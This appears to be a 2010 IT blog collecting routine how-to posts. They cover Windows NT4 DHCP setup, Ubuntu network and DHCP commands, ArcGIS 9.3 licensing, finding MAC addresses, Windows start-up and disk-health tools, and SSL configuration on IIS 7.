Sunday, October 24, 2010

DHCP server - Windows

The installation of the DHCP-server on Windows NT4 server (the DHCP-server
is NOT included in Windows NT4 workstation )
is very simple:

In the Network-configuration,
tab: Services, click on "Add"
and then select:
"Microsoft DHCP Server"

The following notice will be displayed:

The system running the DHCP-server (distributing IP-addresses to other systems)
itself MUST use a static IP-address (manually assigned) , it can NOT request
to receive an IP-address from any DHCP-server (itself or another DHCP server).

Like after all changes to the network configuration, you have to reboot:


Configuration of the DHCP-server

Although the DHCP-server is listed
as a Networking service, it is NOT
configured from the Network applet
(the Properties button is grayed out)
The "DHCP - Manager" has been
added to the menu for the
"Administrative Tools"
You need to define now a range of IP-addresses
to be distributed.
This range is called: "Scope".

To be able to define Scope, click first on the
entry "Local Machine" to expand the entry,
the "+" -sign needs to change to the "-"-sign.
Only then you are able to select from the
menu: "Scope" the option "Create"


You assign the range of IP-addresses to be assigned by DHCP-server
( in the example: all IP-addresses between 102.54.107.1 and 192.54.107.49):

usually, an IP-address is NOT assigned permanently, but only for a limited
time, called the "Lease Duration".

On selected the "OK"-button, you will be asked on whether to activate
the scope, select "Yes":


The yellow light-bulb indicates, that
the scope is now active and that the
DHCP-server is ready to assign the
IP-addresses.
To display the IP-range ("Scope") for
viewing/editing, select from the menu
"Scope" the option "Properties"

Setting up a connected Windows systems to use the DHCP-server is very simple:

In the Network-configuration,
select the properties for the
TCP/IP-protocol and just make
sure, that it defines to
"obtain an IP address automatically"


To verify the assigned IP-address on a Windows95/98 system, run the
"WINIPCFG" program (usually from the RUN-menu)(On Windows NT, use IPCONFIG):

In this example, DHCP assigned the IP-address 192.54.107.1.
But there is no "Default gateway" defined !


TCP/IP requires more than just the IP-address, for communication outside
the local network-cable (the local "subnet"), it needs to know the IP-address
of the Gateway (also called Router).
DHCP can be configured to provide also this information to the clients:

make sure, that your Scope is selected
(highlighted in blue), then select from the
menu: "DHCP Options", then "Scope"


From the list of
"Unused Options", select
"Router", then use the
"Add"-button.
Once the "Router" is
an "Active Option",
click on the button
"Value" to define the
IP-address for the Router.
On the expanded Windows,
click on "Edit Array",
allowing then to enter
the IP-address of the
Router, then select the
"Add"-button to get the
new values displayed in
the list of IP-addresses.

Press "OK" to exit this
window.
The IP-address of the
Router is displayed.

Press "OK" to close the
DHCP-Options window.


The DHCP-Mananger is now displayed
for the scope also the option for the
Router.

When now checking on Windows95/98 with WINIPCFG:

the IP-address for the "Default Gateway" is defined.

If your configuration requires the use of WINS, it can be also configured
as an option of the DHCP-server.


DHCP can also be used to assigned IP-addresses for incoming RAS-
connections
:


To view the list of IP-address already
assigned, select from the menu: "Scope"
the option "Active Leases"
In this example, 192.54.107.1 is assign
to a LAN user, while 192.54.107.2
is assigned to the Modem to handle
incoming RAS TCP/IP-connections.

Howto: Ubuntu Linux convert DHCP network configuration to static IP configuration

Your main network configuration file is /etc/network/interfaces

Desired new sample settings:
=> Host IP address 192.168.1.100
=> Netmask: 255.255.255.0
=> Network ID: 192.168.1.0
=> Broadcast IP: 192.168.1.255
=> Gateway/Router IP: 192.168.1.254
=> DNS Server: 192.168.1.254

Open network configuration file
$ sudo vi /etc/network/interfacesOR$ sudo nano /etc/network/interfaces

Find and remove dhcp entry:
iface eth0 inet dhcp

Append new network settings:

iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.254

Save and close the file. Restart the network:
$ sudo /etc/init.d/networking restart

Task: Define new DNS servers

Open /etc/resolv.conf file
$ sudo vi /etc/resolv.conf

You need to remove old DNS server assigned by DHCP server:
search myisp.com
nameserver 192.168.1.254
nameserver 202.54.1.20
nameserver 202.54.1.30

Save and close the file.

Task: Test DNS server

$ host cyberciti.biz

Network command line cheat sheet

You can also use commands to change settings. Please note that these settings are temporary and not the permanent. Use above method to make network changes permanent or GUI tool as described below.

Task: Display network interface information

$ ifconfig

Task: Take down network interface eth0 / take a network interface down

$ sudo ifconfig eth0 downOR $ sudo ifdown eth0

Task: Bring a network interface eth0 up

$ sudo ifconfig eth0 upOR$ sudo ifup eth0

Task: Change IP address and netmask from command line

Activate network interface eth0 with a new IP (192.168.1.50) / netmask:
$ sudo ifconfig eth0 192.168.1.50 netmask 255.255.255.0 up

Task: Display the routing table

$ /sbin/route OR$ /sbin/route -n
Output:

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
localnet * 255.255.255.0 U 0 0 0 ra0
172.16.114.0 * 255.255.255.0 U 0 0 0 eth0
172.16.236.0 * 255.255.255.0 U 0 0 0 eth1
default 192.168.1.254 0.0.0.0 UG 0 0 0 ra0

Task: Add a new gateway

$ sudo route add default gw 172.16.236.0

Task: Display current active Internet connections (servers and established connection)

$ netstat -nat

Task: Display open ports

$ sudo netstat -tulpOR$ sudo netstat -tulpn

Task: Display network interfaces stats (RX/TX etc)

$ netstat -i

Task: Display output for active/established connections only

$ netstat -e
$ netstat -te
$ netstat -tue

Where,

  • -t : TCP connections
  • -u : UDP connections
  • -e : Established

Task: Test network connectivity

Send ICMP ECHO_REQUEST to network hosts, routers, servers etc with ping command. This verifies connectivity exists between local host and remote network system:
$ ping router
$ ping 192.168.1.254
$ ping cyberciti.biz

See simple Linux system monitoring with ping command and scripts for more information.

Task: Use GUI (Graphical Configuration) network Tool

If you are new, use GUI configuration tool, type the following command at terminal:
$ network-admin &

Above command is Ubuntu's GUI for configuring network connections tool.

Final tip - Learn how find out more information about commands

A man page is your best friend when you wanted to learn more about particular command or syntax. For example, read detailed information about ifconfig and netstat command:
$ man ifconfig
$ man netstat

Just get a short help with all command options by appending --help option to each command:
$ netstat --help

Find out what command is used for particular task by searching the short descriptions and manual page names for the keyword:
$ man -k 'delete directory'
$ apropos -s 1 remove

Display short descriptions of a command:
$ whatis rm
$ whatis netstat

Linux offers an excellent collection of utilities, which can be use to finding the files and executables, remember you cannot memorize all the commands and files ;)

How do I find out my DHCP server address?

Q. In Windows XP / 2000 / Vista ipconfig /all command will show me DNS server and DHCP server ip address. But, how to know DHCP server address in Linux?

A. The DHCP protocol allows a host to contact a central server which maintains a list of IP addresses which may be assigned on one or more subnets. A DHCP client may request an address from this pool, and then use it on a temporary basis for communication on network.

dhclient.leases file

Under Linux you use command dhclient to obtain and managing dhcp tasks. In order to keep track of leases across system reboots and server restarts, dhclient keeps a list of leases it has been assigned in the dhclient.leases file. On startup, after reading the dhclient.conf file, dhclient reads the dhclient.leases file to refresh its memory about what leases it has been assigned.

When a new lease is acquired, it is appended to the end of the dhclient.leases file. In order to prevent the file from becoming arbitrarily large, from time to time dhclient creates a new dhclient.leases file from its in-core lease database. The old version of the dhclient.leases file is retained under the name dhclient.leases~ until the next time dhclient rewrites the database.

Find out DHCP server address

Usually dhclient.leases file is located at /var/lib/dhcp3/dhclient.leases, type the following command:
less /var/lib/dhcp3/dhclient.leases
OR
cat /var/lib/dhcp3/dhclient.leases
Alternatively, you can just use grep command to get DHCP server address, enter:
grep dhcp-server-identifier /var/lib/dhcp3/dhclient.leases
Output:

lease {  
interface "ra0";
fixed-address 192.168.1.106;
option subnet-mask 255.255.255.0;
option dhcp-lease-time 86400;
option routers 192.168.1.1;
option dhcp-message-type 5;
option dhcp-server-identifier 192.168.1.1;
option domain-name-servers 208.67.222.222,208.67.220.220;
option dhcp-renewal-time 43200;
option dhcp-rebinding-time 75600;
option host-name "vivek-desktop";
renew 0 2007/12/9 05:17:36;
rebind 0 2007/12/9 15:06:37;
expire 0 2007/12/9 18:06:37;
}

lease {
interface "ra0";
fixed-address 192.168.1.106;
option subnet-mask 255.255.255.0;
option routers 192.168.1.1;
option dhcp-lease-time 86400;
option dhcp-message-type 5;
option domain-name-servers 208.67.222.222,208.67.220.220;
option dhcp-server-identifier 192.168.1.1;
option dhcp-renewal-time 43200;
option dhcp-rebinding-time 75600;
option host-name "vivek-desktop";
renew 0 2007/12/9 06:11:22;
rebind 0 2007/12/9 16:13:50;
expire 0 2007/12/9 19:13:50;
}

A note about RHEL / CentOS / Fedora Linux user

Redhat and friends uses /var/lib/dhcp/dhclient.leases file:
less /var/lib/dhcp/dhclient.leases

Thursday, October 21, 2010

How do I install ArcGIS Desktop 9.3 for use with a local license?

Remove previous version

  1. Uninstall all earlier versions of ArcGIS software, including Desktop, ArcInfo Workstation, Tutorial Data, and any ArcGIS extensions (e.g., Image Analysis) before installing the current version. UITS recommends that you use ESRI's Uninstall Utility (provided by ESRI) to help you locate and remove previously loaded ArcGIS products in preparation for installing a new version of ArcGIS.

  2. After uninstalling earlier versions of ArcGIS software, UITS recommends defragmenting your computer's hard drive before you install the current ArcGIS software; see In Windows 7, Vista, and XP, how do I defragment my hard drive?

Install ArcGIS Desktop

  1. Download ArcGIS Desktop 9.3 from IUware. You receive permission to access this software upon purchase of an ESRI license through UITS.

    Note: In Windows 7 and Vista, you will need administrator rights to install this software. You might also need to disable the User Account Control (UAC) function. To view and change your user accounts, from the Start menu, select Control Panel, and then open User Accounts.

  2. Download the file to your computer, and then extract the software files to the default location on your hard drive (C:\IUware Online\ArcGIS Desktop 9.3); see What are compressed or archived files, and how do I open them?

  3. When the ArcGIS 9 Startup window appears, click Install ArcGIS Desktop.

  4. At the Welcome screen, click Next to continue. Accept the license agreement, and then click Next.

  5. Select Define the License Manager later, and then click Next.

  6. Choose the product level for your license type, and then click Next. For example, if you purchased ArcGIS ArcView, select ArcView.

    If you are unsure of your license type, you can change the product level after installation. The same files are installed for ArcView, ArcEditor, and ArcInfo.

  7. Choose Complete, and then click Next.

  8. Select the default location (C:\Program Files\ArcGIS\) on your hard drive, and then click Next.

  9. You may be asked to install Python 2.5.1 if it is not already on your computer. Install the software to the default location (C:\Python25\) on your hard drive, and then click Next.

  10. In the Ready to Install Application window, click Next again. The installation may take up to 15 minutes.

  11. When the installation is complete, click Finish. You may see a Visual Basic for Applications (R) Core window appear. Do not close this window; it will close automatically.

Install ArcGIS Desktop 9.3.1 Update

  1. Download ArcGIS Desktop 9.3.1 Update from IUware. You receive permission to access this software upon purchase of an ESRI license through UITS.

    Note: In Windows 7 and Vista, you will need administrator rights to install this software. You might also need to disable the User Account Control (UAC) function. To do so, from the Start menu, open Control Panel, and then click User Accounts.

  2. Extract the downloaded software files to the default location on your hard drive (C:\IUware Online\ArcGIS Desktop 9.3.1 update); see What are compressed or archived files, and how do I open them?

  3. When the ArcGIS 9 Startup window appears, click Install ArcGIS Desktop.

  4. On the Welcome screen, click Next to continue. Accept the license agreement, and then click Next again.

  5. After the update has successfully installed, click Finish to exit the installation.

Install Keyless License Manager

Note: In Windows 7 and Vista, you will need administrator rights to install this software.

  1. Uninstall any previous version of ArcGIS License Manager, as well as any Sentinel System Driver/Sentinel Protection Installer software; see the Remove previous version section above.

  2. To obtain your computer's MAC address, which is necessary for a license request, first open a command prompt window. Enter getmac and note the physical address.

  3. If you purchased an ESRI license from UITS, send your MAC address and hostname to the UITS GIS Support Specialists, with ArcGIS 9.3 license request in the subject line. Use your Indiana University email address, as requests from outside the organization will be denied.

  4. Once you receive the license file, save it to your computer.

  5. In the C:\IUware Online\ArcGIS Desktop 9.3\License folder, double-click the license manager setup file (LMSetupKeyless.EXE). If you do not have this setup file, download the ArcGIS 9.x License Manager Update from ESRI Support.

    Note: If you are running the 64-bit version of Windows Vista, right-click the LMSetupKeyless.exe file and select Run as Administrator. The ArcGIS Keyless License manager has a known ESRI issue with the security features for Vista's User Access Controls on a 64-bit system that prevents normal installation.

  6. The ArcGIS 9 License Manager Setup window will appear. Choose I received the license file by email and have saved it to disk.

  7. Browse to the license file, select it, and then click Open.

  8. Click Next, and then Next again, and then click Install.

  9. Click Yes when prompted to restart your computer, and then click Finish.

  10. After the restart, from the Start menu, open ArcGIS Desktop Administrator.

  11. In the License Manager folder, change the "Not_Set" variable to your computer's hostname; see In Windows, how do I find my computer's hostname? If you see the message "The computer you chose is not a valid license server...", you may need to manually start the license service; see Restart your local license manager service.

  12. Click OK to close the ArcGIS Desktop Administrator.

  13. Open ArcGIS ArcMap to confirm a successful installation.

Install License Manager for sentinel key

Note: The sentinel key is a piece of USB hardware. If you do not have a sentinel key, see the Install Keyless License Manager section.

  1. The license manager for ArcGIS 9.2 and earlier versions will not work with ArcGIS 9.3 due to updates on the license component for this application. Uninstall any previous version of ArcGIS License Manager before installing the ArcGIS 9.3 License Manager; see the Remove previous version section above.

  2. Uninstall any Sentinel System Driver/Sentinel Protection Installer software.

  3. Plug in the USB ESRI sentinel key. Let Windows find the appropriate drivers for the key.

  4. In the C:\IUware Online\ArcGIS Desktop 9.3\License folder, double-click the license manager setup file (LMSetup.exe). If you do not have this setup file, download the ArcGIS 9.x License Manager Update from the ESRI Support web site.

  5. Select I received the license file by email and have saved it to disk. Browse to the license file (provided by UITS), select it, and then click Open. Click Next to continue.

  6. You will see a summary of the license file. Confirm that the expiration date has not passed, and then click Next.

  7. Click Install.

  8. When installation is complete, you will be asked to restart your computer. After saving your work in any open applications, select Yes, and then click Finish. Make sure that you leave the ESRI sentinel key plugged in while your computer restarts.

  9. After the restart, from the Start menu, open ArcGIS Desktop Administrator.

  10. In the License Manager folder, change the "Not_Set" variable to your computer's hostname; see In Windows, how do I find my computer's hostname? If you see the message, "The computer you chose is not a valid license server...", you may need to manually start the license service; see Restart your local license manager service.

  11. Click OK to close the ArcGIS Desktop Administrator.

  12. Open ArcGIS ArcMap to confirm a successful installation.

Check for software updates

After installing ArcGIS Desktop, download and install the latest service patch from the ESRI Support Center. ArcGIS will not function optimally without the latest service patch.

ERDAS IMAGINE compatibility

Installing the ArcGIS license manager may disrupt the ERDAS IMAGINE license manager if you run both ArcGIS and ERDAS IMAGINE. If you have problems with ERDAS IMAGINE, reinstall the ERDAS IMAGINE license manager. For best results, UITS recommends that you install ArcGIS first and then ERDAS IMAGINE.

Tuesday, October 19, 2010

How to find MAC address

MAC address of your computer

Windows 2000 / XP / 2003 / 2008 / Vista / Windows 7

  1. Open a Command Prompt window by clicking the Start button, clicking Programs or All Programs, clicking Accessories, and then clicking Command Prompt.
  2. In the Command Prompt window type ipconfig /all
  3. Find the Physical Address line under the section that describes your network adapter. MAC address is listed as six groups of two hexadecimal digits, separated by hyphens (-).
C:\Documents and Settings\admin>ipconfig /all

Windows IP Configuration

Host Name . . . . . . . . . . . . : mypc
Primary Dns Suffix . . . . . . . : domain.local
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : domain.local

Ethernet adapter Wireless Network Connection:

Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/Wireless 3945ABG Network Connection
Physical Address. . . . . . . . . : 00-13-02-80-92-7A
Dhcp Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 192.168.0.3
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DNS Servers . . . . . . . . . . . : 192.168.0.1
Lease Obtained. . . . . . . . . . : Sunday, February 15, 2008 3:19:03 PM
Lease Expires . . . . . . . . . . : Friday, February 20, 2008 3:19:03 PM

Ethernet adapter Local Area Connection:

Media State . . . . . . . . . . . : Media disconnected
Description . . . . . . . . . . . : Intel(R) PRO/1000 PL Network Connection
Physical Address. . . . . . . . . : 00-0E-7B-89-C4-E0

Ethernet adapter Local Area Connection 2:

Media State . . . . . . . . . . . : Media disconnected
Description . . . . . . . . . . . : Bluetooth Personal Area Network from TOSHIBA
Physical Address. . . . . . . . . : 00-03-7A-F3-6C-E7

Windows Vista / Windows 7 / Windows 2008 (Full Installation only)

  1. Open a Command Prompt window by clicking the Start button, clicking Programs or All Programs, clicking Accessories, and then clicking Command Prompt.
  2. In the Command Prompt window type getmac (or getmac /v if your computer has more than one network adapter).
  3. MAC address is listed as six groups of two hexadecimal digits, separated by hyphens (-) in the beginning of the line.
C:\Users\admin>getmac
Physical Address Transport Name
=================== ==========================================================
00-21-85-0C-52-A3 \Device\Tcpip_{4B89E525-B2FE-4E02-B769-D671265BBDE6}

LINUX

  1. Open a terminal or console window.
  2. In the window type ifconfig
  3. MAC address is marked as HWaddr and listed as six groups of two hexadecimal digits, separated by colon (:).
root@host:~# ifconfig
eth1 Link encap:Ethernet HWaddr 00:10:5A:0D:5A:A5
inet addr:192.168.0.2 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::210:5aff:f00d:5bb5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1206866 errors:54423 dropped:0 overruns:0 frame:81536
TX packets:941228 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:332783971 (317.3 MiB) TX bytes:214601237 (204.6 MiB)
Interrupt:10 Base address:0xa000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1573 errors:0 dropped:0 overruns:0 frame:0
TX packets:1573 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:99765 (97.4 KiB) TX bytes:99765 (97.4 KiB)

Apple Mac OS X 10.2-10.6

  1. Launch Finder, open Applications folder, then open Utilities folder and start Terminal.
  2. In the Terminal window type ifconfig
  3. Find the ether line under the section that describes your network adapter. MAC address is listed as six groups of two hexadecimal digits, separated by by colon (:).
host:~ user$ ifconfig
lo0: flags=8049 mtu 16384
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1
inet 127.0.0.1 netmask 0xff000000
inet6 ::1 prefixlen 128
gif0: flags=8010 mtu 1280
stf0: flags=0<> mtu 1280
en0: flags=8863 mtu 1500
ether 00:25:bc:de:96:74
media: autoselect status: inactive
supported media: none autoselect 10baseT/UTP 10baseT/UTP 10baseT/UTP 10baseT/UTP 100baseTX 100baseTX 100baseTX 100baseTX 1000baseT 1000baseT 1000baseT
fw0: flags=8863 mtu 4078
lladdr 00:25:bc:ff:fe:de:98:64
media: autoselect status: inactive
supported media: autoselect
en1: flags=8863 mtu 1500
inet6 fe80::225:ff:fe4e:a73d%en1 prefixlen 64 scopeid 0x6
inet 192.168.0.101 netmask 0xffffff00 broadcast 192.168.0.255
ether 00:25:00:4e:a8:39
media: autoselect status: active
supported media: autoselect

MAC address of a system connected to the same subnet as your computer

Windows 2000 / XP / 2003 / 2008 / Vista / Windows 7

  1. Open a Command Prompt window by clicking the Start button, clicking Programs or All Programs, clicking Accessories, and then clicking Command Prompt.
  2. In the Command Prompt window type ping
    Replace with an IP address of the system you want to find MAC address.
  3. In the same Command Prompt window type arp -a
    MAC address is listed in the Physical Address column as six groups of two hexadecimal digits, separated by hyphens (-).
C:\Documents and Settings\User>ping 192.168.0.1

Pinging 192.168.0.1 with 32 bytes of data:

Reply from 192.168.0.1: bytes=32 time<1ms TTL=127
Reply from 192.168.0.1: bytes=32 time<1ms TTL=127
Reply from 192.168.0.1: bytes=32 time<1ms TTL=127
Reply from 192.168.0.1: bytes=32 time<1ms TTL=127

Ping statistics for 192.168.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\Documents and Settings\User>arp -a

Interface: 192.168.0.101 --- 0x2
Internet Address Physical Address Type
192.168.0.1 00-17-9a-46-7c-a3 dynamic

LINUX

  1. Open a terminal or console window.
  2. In the window type ping -c1
    Replace with an IP address of the system you want to find MAC address.
  3. In the same window type arp
    MAC address is listed in the HWaddress column as six groups of two hexadecimal digits, separated by colon (:).
root@host:~# ping -c1 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=127 time=4.22 ms

--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 4.223/4.223/4.223/0.000 ms
root@host:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.0.1 ether 00:17:9A:46:7C:A3 C eth1

MAC address of your Smart Phone / Mobile device

iPhone / iPod Touch

  1. Tap Settings. Select General and then About.
  2. Scroll down until you find Wi-Fi Address line. Wi-Fi Address line shows MAC address as six groups of two hexadecimal digits, separated by colon (:).

iPad

  1. Tap Settings. Select General on the left side and then About on the right.
  2. Find the Wi-Fi Address line. Wi-Fi Address line shows MAC address as six groups of two hexadecimal digits, separated by colon (:).

Friday, October 15, 2010

How to Make your Windows Start-up Faster

Does your Windows computer take really long to start-up?

Well, you are not alone with this problem but fortunately, with some minor tweaks, you can get your sluggish Windows to start much faster without re-installing Windows or adding any new hardware.

The logic is fairly simple. Your computer loads quite a few software programs and services during start-up (look at all the icons in your Windows System tray). If you can trim this list, your computer’s boot time will decrease.

I have been testing a free utility called Soluto and it helped reduce the start-up time of my Windows computer from 3.15 minutes to around 1.25 minutes. All this with a few easy clicks and without confusing the user with any technical jargon.

soluto boot problems

After you install Soluto, it sorts your start-up programs list into three categories:

  • No-brainer – remove these programs from start-up with giving a second thought.
  • Potentially removable – another list of start-up programs that may also be removed provided you know what these programs do.
  • Required – Certain programs and services are required to run Windows properly and therefore should not be removed.

Depending upon the software app, you may then either choose “Pause” to completely remove that app from the start-up queue or choose “Delay” when you want the app to run automatically but not immediately at start-up. Soluto will launch the “delayed” app once the boot up is over and your system is idle.

You can also hover the mouse over any program name and Soluto will display the number of seconds that the app adds to the start-up time. And don’t bother about making mistakes because Soluto has a useful “Undo all” feature that will restore the start-up list to the original state with a click.

system boot time

Once you are done classifying your start-up programs list, reboot the computer and you should notice a difference between the start-up time.

Where to download Soluto?

The official site for Soluto is soluto.com but in order to download the program, you should head over to mysoluto.com.

Alternatives to Soluto

If you are tech-savvy, you can also use a utility like Sysinternals Autoruns to manually prevent all the non-essential Windows processes and programs from running at start-up.

Just uncheck all the Autorun entries and Services that you don’t wish to load at startup and reboot your system. You’ll however need a separate program to get the “delay” feature which is so handy in Solute.

autoruns

How to Check the Health of your HardDrive

Test Your Hard Drive for Impending Problems

hard diskYou may however run certain tests on your computer beforehand to get an idea about the current condition of your hard disk. This should in turn help you decide whether a replacement drive is necessary or not.

Step 1: Check your hard disk for errors

All recent versions of Windows include a utility called Chkdsk.exe that can check your hard disk for any bad sectors.

You may either run Chkdsk from the command line (see details) or launch Windows Explorer, right click the drive that you wish to examine and choose Properties. Switch to the Tools tab and click the “Check Now” button under Error checking. Select “Scan for and attempt recovery of bad sectors” to perform a thorough disk check.

Step 2: Understand the sounds of your disk

Do you sometimes hear strange sounds coming out of the CPU box? Well, if the hard drive is making those sounds, it could be an alarming situation and your best bet would be that you turn off the computer before any further damage is done to the disk.

But how do you distinguish between sounds coming from a hard disk with noise that’s made by the fans or the power supply? Here’s a useful page where you can listen to recorded sounds of various hard drives that have lead to a crash. If your disk is making a similar sound, get a replacement quickly.

Step 3: Catch errors before they happen

Disk Checkup is a free hard disk monitoring utility that displays tons of diagnostic data about your disk. While the level of detail it provides may easily confuse even tech-savvy users, just ignore the numbers and keep the utility running in the background.

It monitors your disk’s temperature, read and write error rate, etc. and will alert you when the values of any of these parameters approach dangerous levels. These may be signs of an impending disk failure. Disk Checkup is free for personal use.

Step 4: Thoroughly test your Hard Disk

SeaTools is free diagnostic tool that can completely test your hard drive regardless of the OS installed on it. The tool is provided by Seagate but it works with non-Seagate disk drives as well.

To get started, you need to download the ISO image of SeaTools for DOS and create a bootable CD. Now boot the computer with the CD in the drive, accept the license agreement and run a long test (the full scan). If any defects are found, a list will be offered at the end or after aborting the disk scan.

Other computer vendors /disk manufactures including Samsung, Hitachi, Toshiba (Fujitsu), Western Digital, Lenovo, Dell, etc. too offer diagnostic tools that work only with their own brand of hard drives. If you are having frequent computer problems (like system hangs or fails to boot up), you may run these tools to confirm if the problems are hard drive related.

Monday, October 11, 2010

How to Set Up SSL on IIS 7

Introduction

The steps for configuring Secure Sockets Layer (SSL) for a site are the same in IIS 7 and IIS 6.0, and include the following:

  • Get an appropriate certificate.
  • Create an HTTPS binding on a site.
  • Test by making a request to the site.
  • Optionally configure SSL options, that is, by making SSL a requirement.

This document provides some basic information on SSL, then shows how to enable SSL in many several different ways:

  • Using IIS Manager.
  • Using the AppCmd.exe command line tool.
  • Programmatically through Microsoft.Web.Administration.
  • Using WMI scripts.

This article contains the following sections:

SSL Configuration

The implementation of SSL changed from IIS 6.0 to IIS 7. In IIS 6.0 on Windows Server 2003, all SSL configuration was stored in the IIS metabase, and encryption/decryption occured in User mode (requiring a lot of kernel/user mode transitions). In IIS 7, HTTP.sys handles SSL encryption/decryption in kernel mode, resulting in up to 20% better performance for secure connections in IIS 7 than that experienced in IIS 6.0.

Using SSL in kernel mode requires storing SSL binding information in two places. First, the binding is stored in %windir%\System32\inetsrv\config\applicationHost.config for your site. When the site starts, IIS 7 sends the binding to HTTP.sys, and HTTP.sys starts listening for requests on the specified IP:Port (this works for all bindings). Second, the SSL configuration associated with the binding is stored in the HTTP.sys configuration. Use the netsh command at a command prompt to view SSL binding configuration stored in HTTP.sys as in the following example:

netsh http show sslcert

When a client connects and initiates an SSL negotiation, HTTP.sys looks in its SSL configuration for the IP:Port pair to which the client connected. The HTTP.sys SSL configuration must include a certificate hash and the name of the certificate store before the SSL negotiation will succeed.

Troubleshooting Tip: If you're having trouble with an SSL binding, verify that the binding is configured in ApplicationHost.config, and that the HTTP.sys store contains a valid certificate hash and store name for the binding.

Choosing a Certificate

When choosing a certificate, consider the following: Do you want end users to be able to verify your server's identity with your certificate? If yes, then either create a certificate request and send that request to a known certificate authority (CA) such as VeriSign or GeoTrust, or obtain a certificate from an online CA in your intranet domain. There are three things that a browser usually verifies in a server certificate:

  1. That the current date and time is within the "Valid from" and "Valid to" date range on the certificate.
  2. That the certificate's "Common Name" (CN) matches the host header in the request. For example, if the client is making a request to http://www.contoso.com/, then the CN must also be http://www.contoso.com/.
  3. That the issuer of the certificate is a known and trusted CA.

If one or more of these checks fails, the browser prompts the user with warnings. If you have an Internet site or an intranet site where your end users are not people you know personally, then you should always ensure that these three parameters are valid.

Self-signed certificates are certificates created on your computer. They're useful in environments where it's not important for an end user to trust your server, such as a test environment.

Using AppCmd

You cannnot request or create a certificate by using AppCmd.exe. You also cannot use AppCmd.exe to create an SSL binding.

Configure SSL Settings

You can use AppCmd.exe to configure a site to accept only server HTTPS connections by modifying the sslFlags attribute in the Access section. For example, you can configure this setting for the "Default Web Site" in the ApplicationHost.config file (for example, commitPath:APPHOST) by using the following command:

%windir%\system32\inetsrv>AppCmd set config "Default Web Site" -commitPath:APPHOST -section:access -sslFlags:Ssl

If successful, the following message is displayed:

Applied configuration changes to section "system.webServer/security/access" for "MACHINE/WEBROOT/APPHOST/Default Web Site" at configuration commit path "MACHINE/WEBROOT/APPHOST"

Note: To require 128-bit SSL, change the sslFlags value to Ssl128.

The following example demonstrates how to view the section settings for the Default Web Site. The sslFlags attribute has been set successfully.

%windir%\system32\inetsrv>AppCmd list config "Default Web Site" -section:access

Executing the command results in the following entry in the ApplicationHost.config file:

<system.webServer>

<security>
<access flags="Script, Read" sslFlags="Ssl" />
security>
system.webServer>

Using WMI

You cannot request or create a certificate by using the WebAdministration WMI namespace.

Create an SSL Binding

The following script demonstrates how to create a new SSL binding and how to add the appropriate configuration for both HTTP.sys and IIS 7:

Set oIIS = GetObject("winmgmts:root\WebAdministration")

'''''''''''''''''''''''''''''''''''''''''''''
' CREATE SSL BINDING
'''''''''''''''''''''''''''''''''''''''''''''

oIIS.Get("SSLBinding").Create _
"*", 443, "4dc67e0ca1d9ac7dd4efb3daaeb15d708c9184f8", "MY"
'''''''''''''''''''''''''''''''''''''''''''''

' ADD SSL BINDING TO SITE
'''''''''''''''''''''''''''''''''''''''''''''

Set oBinding = oIIS.Get("BindingElement").SpawnInstance_
oBinding.BindingInformation = "*:443:"
oBinding.Protocol = "https"

Set oSite = oIIS.Get("Site.Name='Default Web Site'")
arrBindings = oSite.Bindings
ReDim Preserve arrBindings(UBound(arrBindings) + 1)
Set arrBindings(UBound(arrBindings)) = oBinding
oSite.Bindings = arrBindings
Set oPath = oSite.Put_

Note: The certificate hash and store must reference a real, functional certificate on your server. If the certificate hash and/or store name are bogus, an error is returned.

Configure SSL Settings

The following script demonstrates how to set SSL settings by using the IIS 7 WMI provider. You can find this value in the IIS_Schema.xml file.

CONST SSL = 8
Set oIIS = GetObject("winmgmts:root\WebAdministration")
Set oSection = oIIS.Get( _
"AccessSection.Path='MACHINE/WEBROOT/APPHOST',Location='Default Web Site'")
oSection.SslFlags = oSection.SslFlags OR SSL
oSection.Put_

IIS Manager

Obtain a Certificate

Select the server node in the treeview and double-click the Server Certificates feature in the listview:

Click Create Self-Signed Certificate... in the Actions pane.

Enter a friendly name for the new certificate and click OK.

Now you have a self-signed certificate. The certificate is marked for "Server Authentication" use; that is, it uses as a server-side certificate for HTTP SSL encryption and for authenticating the identity of the server.

Create an SSL Binding

Select a site in the tree view and click Bindings... in the Actions pane. This brings up the bindings editor that lets you create, edit, and delete bindings for your Web site. Click Add... to add your new SSL binding to the site.

The default settings for a new binding are set to HTTP on port 80. Select https in the Type drop-down list. Select the self-signed certificate you created in the previous section from the SSL Certificate drop-down list and then click OK.


Now you have a new SSL binding on your site and all that remains is to verify that it works.

Verify the SSL Binding

In the Actions pane, under Browse Web Site, click the link associated with the binding you just created.

Internet Explorere (IE) 7 will display an error page because the self-signed certificate was issued by your computer, not by a trusted Certificate Authority (CA). IE 7 will trust the certificate if you add it to the list of Trusted Root Certification Authorities in the certificates store it on the local computer, or in Group Policy for the domain.
Click Continue to this website (not recommended).

